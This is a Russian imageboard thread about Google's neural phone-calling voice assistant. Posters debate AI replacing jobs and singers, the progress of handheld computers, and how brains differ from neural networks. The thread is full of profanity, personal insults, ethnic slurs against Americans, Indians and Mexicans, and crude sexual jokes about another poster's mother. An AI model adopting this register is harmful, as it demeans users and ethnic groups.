Что ты несешь? Нейроны взаимодействуют через синапсы. Мозг без синапсов не смоделировать, потому что это никакого смысла не имеет. Это будет гора клеток.
Ну да, человек же использует диалектическую, как я мог забыть.
пиписька не отросла, чтоб обоссать.
Ох лол, тренирую дикцию, дыхание, голос для исполнения мечты - стать диктором, а тут это.
Это меня рыночек порешал?
>30 лет назад о персональных компьютерах размером с ладонь
Соединили технологии нейросетевой генерации голоса с системой интеллектуальной обработки текста (они не нейросетевые, а скорее всего символьные и тут было бы более интересно понят что использовалось, ведь робот точно указывал когда ему надо забронировать место - значит все данные заранее введены и ему только надо составлять осмысленные предложения и отвечать в попад)
Скорее мозг. Странные мечты какие-то.
Это была просто записная книжка с калькулятором в хуевом монохроме с мининмум памяти.
Сейчас современный 5" смартфон уже круче чем настольный ПК 2005 года. Фильмы, стримы, музыка, книги, игры, камера. Я такой хуйни даже представить не мог, хотя сам застал еще пейджеры.
Так что хуйню ты запостил.
>Сейчас современный 5" смартфон уже круче чем настольный ПК 2005 года
полегче давай.
Чот фейком попахивает, проясните, пожалуйста.
Звонок парикмахеру - сначала оператор общается в первом лице, а потом внезапно говорит о ней о ком блять? как о третьем лице. Чозанах?
> Да зачем это все? Мы же в киберпанке, луддиты будут получать нихуя живя в скворерчниках или на никому не нужной земле, питаясь с этой самой земли.
Да и похуй, уеду туда, где таких людей много и только выиграю. В Юту какую-нибудь.
в смысле фейк? технология давно существует.
Будущее наступает намного быстрей чем его ожидают. Но для кого то это по прежнему большой сюрприз.
Профессия всяких там звонил-манагерофф ВСЁ.
>Лицензия на этот софт будет стоить как параход.
Нет. Она будет копеечная. Как и всё в IT - разработать сложно, а распространять считай бесплатно. Сделают таксу в виде пары центов в минуту и всё. Получится идеальный звонила который никогда ничего не забывает, идеально вежлив, не устаёт и всегда подходит к клиенту индивидуально.
>подходит к клиенту индивидуально
>ранний ИИ
Это вряд ли. Количество доступных ответов ограничено.
>крушения евроамериканского конгламерата.
Смертник с ядерным ранцем выползет из подлодки и подорвет Йеллоустоунский вулкан?
Нахуя они это делают, уёбки.
Создают роботов, которые во всём будут лучше человека. Чтобы роботы заменили человека? Человек сам создаёт себе замену.
ЗАЧЕМ!?
Чтобы не работать? Зачем нужен человек, который поёт хуже робота? Нахуй его со сцены, пускай вокалоидов вместе со всеми слушает. Останется 1.5 оригинальных исполнителя с авторскими правами на свои песни, Йося Кобзон и Филя Киркоров, потому что связи. 100500 вариаций поющих трусов не нужны, например.
>Расскажи кому-то 30 лет назад о персональных компьютерах размером с ладонь
Просто ты молодой экзальтированный дебил с недостатком эрудиции. Даже совки такое прогнозировали, что охуеешь. А то, что ты приводишь соцсеть, как достижение прогресса - много говорит о твоем уровне развития.
https://www.youtube.com/watch?v=5T1UGfm_OMM
Прогресс же, следующая ступень эволюции. Смысл вообще плодить костяные мешки, которые сами не знают, зачем они живут.
>Даже совки такое прогнозировали
В научной фантастике, как достижение коммунизма 100500-м году?
Всемирные информационные сети, плоские телевизоры во всю стену, наладонные компьютеры - я лично про все это читал, в детской книжке про радиоэлектронику 85-го года.
Атомные ледоколы же есть.
Хорошо, и где будут места для вас в этом прекрасном мире будущего?
покормил
Алсо у пающих трусы - это глубокая ироничная группа, нельзя отобрать таланта у во волечённых в неё
https://www.youtube.com/watch?v=h3DCXkqpsKU
Да-да, закончат как шахматы.
Куда они были спижжены из золотого века англоязычной фантастики.
В любом случае будет гораздо лучше, чем нынешняя ситуация в пендосии, когда колл-центр отдают на аутсорс в какие-нибудь Филиппины. В результате пиндосы даже придумали лайфхак, при дозвоне в качестве языка запрашивать испанский, потому что попадёшь на местного мекса, который и по-английски норм говорит, а не на индусского болванчика.
Ну а раз внедрят у пиндосов, то и мир тоже быстро подстроится, ему не привыкать, до сих пор мониторы дюймами меряет.
Люди соревнуются друг с дргом, чтобы быть альфо-самцом и доминантом среди окружающих.
Победа над компьютером приносит намного меньше удовольствия, потому что ты и так понимаешь, что он недурак, никогда не мискликает, никогда не пропускает мимо глаз любую выгодную ситуацию, быстро просчитывает в голове всю экономику.
То же самое и с любым артом.
Ну нарисует компьютер идеальную картинку, ну и что. Это называется фотография. А вот когда человек год карпел над каждым мазком, как айвозовский над своими волнами, тогда у тебя к нему уважение, к его упорству и видению.
>А вот когда человек год карпел над каждым мазком, как айвозовский над своими волнами, тогда у тебя к нему уважение, к его упорству и видению.
Если человек рисует фотографию, вместо того, чтобы воспользоваться фотиком и принтером, у меня нет особого уважения к его видению, лишь к терпению и трудолюбию, но искусство тут ни при чём.
Искусство подразумевает процесс переноса автором своего прошу технарей не тригириться внутреннего мира в материальную форму, машине нечего переносить, значит произведение искусства она не создаст в принципе.
Кстати, когда ИИ выиграет у котлет в доте 5на5, я буду прыгать до потолка. Освоить доту на котлетном уровне сложнее, чем 99,9% планктонных профессий. Где дота - там и диагностика у врачей, и консультирование, и офисные планктонины, и много чего еще.
>там и диагностика у врачей, и консультирование
Я до сих пор не понимаю, почему всё ещё не запилили диагностику по тому же принципу, что http://ru.akinator.com/
IBM пилит свой Watson какое-то неебическое число лет, что там пилить, всё запилино уже.
Разве что юридические ограничения какие-то.
А когда даже художник рисует деревья с кустами, которые не двигаются. Он не рисует мазок на квадратный миллиметр. Ему надо решить, как группой мазков изобразить большой объёмный детализированный куст. Тут опять же фантазия.
Поделись инфой, как именно тренируешь. Используешь какие-то гайды?
эволюция усекает любой орган, который не используется. особенно это касается прожорливого седержимого черепа
>Точно. И второй закон термодинамики отменят - и 30-и лет не пройдет
Такие же кукаретики кукарекали про плоскую землю, про атом - как самую маленькую частицу, и что на марсе воды нет. А потом жиденько сливались.
лол, добро пожаловать в хату к переводчикам и копирайтерам.
>про атом - как самую маленькую частицу
Но атом действительно самая маленькая частица, ты обосрался.
цирк уехал, а клоуны остались
рыночек решает.
если тебя рыночек зарешал в бедность - то ты не нужен. поэтому или умри, или вместе с другими пацанами внутри бедности создавайте свою микроэкономику с лотками и грядками, начинайте торговать друг с другом мусором и объедками.
Потом постепенно ваша меновая торговля приведёт к созданию центров-поселений, появятся кузнецы, ремесленники, сделаете свою валютут, перейдёте с бартера на денежное обращение, среди мастеровых появится лидер который объединит охранников в дружину. Будет королевство, ну а дальше уже более-менее понятно.
Не подскажешь, что там с КОК-ПОК НАНОРОБОТАМИ случилось?
А то аккурат в 86 году Дрекслер свою книжку выпустил, где предрекал что СКОРО ОЧЕНЬ СКОРО нанороботы выкинут заводобыдло на мороз. 32 года прошло, а воз и ныне там.
Злые языки утверждают, что это тот самый второй закон термодинамики виноват... который вот-вот отменят.
>вместе с другими пацанами внутри бедности создавайте свою микроэкономику
надо уже сейчас начинать, иначе пиздец
>оперативки не было фантастикой, весь вопрос в деньгах был. Сейчас ИИ даже близко не подошёл к тому чтобы интеллектом называться.
Был недавно в одном из русских мухосранских рынков на развале и в одном из проходов расположилось несколько мужиков с радиодеталями и радиотехникой эпохи 70х-80х годов, самим мужикам естественно было уже далеко за 60, возможно когда-то работали в каких-нибудь советских НИИ, а потом рыночек порешал. Но суть не в этом, пока я проходил мимо мужики спорили, что транзисторы скоро умрут, а другой доказывал в ответ. что ничего не умрут и всё у них в порядке. Спорили они конечно не о тех транзисторах, которые сейчас находятся в составе современных интегральных схем, а об олдскульных громозских, которые были ещё в советской электронной технике.
К чему я это говорю? Очень легко остаться в своё электронном гетто и упустить прогресс. То что современные транзисторы занимают по размерам всего несколько атомов, ещё 30 лет назад казалось фантастикой, а сегодня реальность.
Что там дальше, квантовые компьютеры и квантовая революция? Да, так и будет и весь вопрос о скорости расчетов будет решен так же быстро, как сейчас спорят, что никаких мощностей не хватит, на проработку ИИ который сможет непринужденно общаться на любые темы синтезируя любой голос. Мне кажется вы застряли в той же эпохе, что и мужики обсуждающие советские транзисторы, странно что вы ещё при виде компьютера или смартфона не убегаете в таком случае в панике, куда глаза глядят.
>поощряется получением наслаждения при достижении цели, где оптимизация мыслительного процесса происходит по пути наибольшего извлеченного "профита" и наименьшей фрустрации
Ты только что описал один из алгоритмов машинного обучения.
правильное понимание.
открывай бизнес, каким бы хуёвеньким он не был.
>К чему я это говорю? Очень легко остаться в своё электронном гетто и упустить прогресс.
Можно упустить прогресс в том смысле что "я упустил то, что сделает меня более конкурентноспособным и успешным", а можно упустить прогресс в том смысле, в котором ты упускаешь поезд, который должен тебя размазать по рельсам.
>квантовые компьютеры и квантовая революция
Хайп для дебилов уровня ТРИДЭПРИНТЕРОВ.
Квантовые компьютеры умеют только перебирать комбинации чисел для простых вычислений, типа число на множители разложить.
Для ИИ нужны расчеты с ебаническим параллелизмом, как у миллиардов нейронов. Квантовые компьютеры тут никак не помогут (даже если их сделают).
это проблема квантового компьютера или двух обезьян, которые не шарят, но любят спорить о терминах?
Ты тред-то читал?
Он о том и говорит, собственно.
О современной реализации нейросетей через бинарую логику.
А чо английский то, пусть на любом другом языке заговорит.
>Итак, на данный момент нейросети научились синтезировать человеческий голос, который невозможно отличить от голоса живого человека.
По сути хуйня без задач, разве для траленка какого.
Но дальше в видосе сказали, типа войс может сделать звонок за вас. Вот тут реальный пиздец и так из-за технологической ебатни человек погружается в пучину комплексов, так эти мрази дают еще одну возможность их углубить.
Психология к большому сожалению работает как раз на превозмогании, это как линия фронта, если ты отступаешь, то тебя в жар будет бросать уже от общения не с бабой, а с родителями.
Сергей Брин наш казачок
> сопряжен с достижением оных целей и поощряется получением наслаждения при достижении цели, где оптимизация мыслительного процесса происходит по пути наибольшего извлеченного "профита" и наименьшей фрустрации
Обучение нейросетей основано на этом же принципе, одним словом это называется функция приспосабливаемости.
работай диктором за бесплатно для своего удовольствия. А деньги на пожрат ввиде бода должны приходить.
>работай диктором за бесплатно для своего удовольствия
Так это работать не будет, мотивации не будет.
по-моему все наоборот. Хочешь чтобы тебе хобби опративело - сделай из него профессию.
Если не хочешь проебаться со столиком в популярном ресторанчике, то да.
>По сути хуйня без задач
Попробуй в пиндостане дозвониться куда-нибудь, заебёшься. Даже у моего предыдущего интернет-провайдера в саппорт можно было только ПОЗВОНИТЬ.
Как 1 из сценариев.
>Попробуй в пиндостане дозвониться куда-нибудь, заебёшься. Даже у моего предыдущего интернет-провайдера в саппорт можно было только ПОЗВОНИТЬ.
Ну и при чем тут это, зайди на любой стрим и послушай озвучку донатов, уже сейчас озвучивание допилили будь здоров, ну и какая разница будет оно чуть четче или нет?
>Хотя-бы потому, что есть такая хуйня, как синапсы.
Именно так. Не стоит рассматривать мозг как чисто бинарную систему взаимодействий электрическими импульсами. Там еще химия влияет ого-го как, все эти медиаторы и прочие вещества кардинально меняют всю картину.И пока это не будет принято во внимание, особого приближения к именно мышлению можно не ждать.
Что полегче? Ты помнишь, какая производительность была у тех компов? У меня перед носом старый ноут 2006 года на первой корке, так он HD видео не тянет (понятно, что ускорители в телефоне, но сам факт), скорость кодирования/декодирования mp3|mp4|h256 близка, 3д игрушки примерно того же уровня и выше, камера с реалтайм-эффектами.
Я даже гугл-переводчик могу через камеру запустить, навести на текст на китайском и в реалтайме увидеть на экране перевод.
И это все с автономным питанием больше чем на сутки, размером с ладонь. Прошло всего-то 12-15 лет.
В 2003 я тыкал стилусом в тормозное говно на wince и не мечтал даже о том, что у меня есть сегодня и что я считаю само-собой разумеющимся.
>Даже совки такое прогнозировали, что охуеешь.
Айфон со скайпом?
https://youtu.be/spszStVkzao?t=2357
Гавнище для дыбилов малолетних (вроде тя). Я ишшо на псионе с тваей мамашкай ее ню пхотки пихал.
>на псионе
Ну и как тебе ее монохромная пилотка, нравилась?
Я успел на палме в начале 2000х героев погонять, но ты ж сам прекрасно понимаешь, что это отличается примерно как патефон от cd-плеера.
>Даже совки такое прогнозировали, что охуеешь
Если что эти совки были на передовой сайфая, дебил ты ангажированный.
Какой приятный голос.
Вы только вслушайтесь в это ангельский голос.
А как она говорит "Mm-hmm", у меня чуть слезы не выступили от умиления.
Мне кажется я влюбился.
Как же хочется ИИ тяночку. Мы бы с ней гуляли по городу, она бы рассказывала мне об интересных местах, цитировала статьи из википедии. Пели под гитару или караоке. Я бы с ней играл в компьютерные игры. Я бы сделал для нее самый красивый чехол, а она бы читала мне книги перед сном. А когда поругаемся, просил бы у нее прощения.
Господи, господи.
>Если что эти совки были на передовой сайфая
В плане дизайна и смелых предложений были очени интересные идеи.
Взять того же Дмитрия Азрикана и его "Сфинкс". 30 лет назад, а дизайн прямо и сегодня современный.
Ну ладно Честера ставить в один ряд с Фредди и Битлз, но ставить этого рэпперка-объебоса вместе с ними?
а еще бы она стонала точно в такт фрикциям твоей правой руки
Хороший тред.
https://8ch.net/leftypol/res/2523293.html
Все чаще и чаще стали появляться треды о ИИ. К чему бы это.
2050 ГОД
@
КИБЕРПЫНЯ ОБКАШЛЯЛ ВОПРОСИК И РАШКЕ ПРОДАЛИ ЭТУ ТЕХНОЛОГИЮ
@
ВСЕ ТЕТИ СРАКИ ИЗ ГОСУЧРЕЖДЕНИЙ УВОЛЕНЫ
@
ВМЕСТО НИХ ТЕПЕРЬ ИИ АБСОЛЮТНО АУТЕНТИЧНЫМ ГОЛОСОМ ГОВОРИТ: "МОЛОДОЙ ЧЕЛОВЕК, У ВАС НЕТ БЛАНКА №1488. И ВООБЩЕ, ВЫ НЕ ВИДИТЕ, ЧТО У НАС ОБЕД ЗАРЯДКА БАТАРЕЙ?" И ПРОДОЛЖАЕТ РАКОВАТЬ В ОДНОКЛАССНИКАХ
@
КИБЕРПЫНЯ ОБКАШЛЯЛ ВОПРОСИК И РАШКЕ ПРОДАЛИ ЭТУ ТЕХНОЛОГИЮ
@
ВСЕ ТЕТИ СРАКИ ИЗ ГОСУЧРЕЖДЕНИЙ УВОЛЕНЫ
@
ВМЕСТО НИХ ТЕПЕРЬ ИИ АБСОЛЮТНО АУТЕНТИЧНЫМ ГОЛОСОМ ГОВОРИТ: "МОЛОДОЙ ЧЕЛОВЕК, У ВАС НЕТ БЛАНКА №1488. И ВООБЩЕ, ВЫ НЕ ВИДИТЕ, ЧТО У НАС ОБЕД ЗАРЯДКА БАТАРЕЙ?" И ПРОДОЛЖАЕТ РАКОВАТЬ В ОДНОКЛАССНИКАХ
Пыня изобрёл атомный двигатель на новых физических принципах, алё!
Итак, на данный момент нейросети научились синтезировать человеческий голос, который невозможно отличить от голоса живого человека. Для некоторых это не новость, но сейчас гугл начал впервые использовать подобные технологии в коммерции.
https://www.youtube.com/watch?v=lXUQ-DdSDoE
Следующий, абсолютно небольшой шажок: Нейросети научатся исполнению песен, синтетический голос станет лучше голоса любого певца, люди смогут воспроизвести голоса Фредди Меркьюри, Битлз, Честера Беннингтона, Лил Пипа, кого угодно.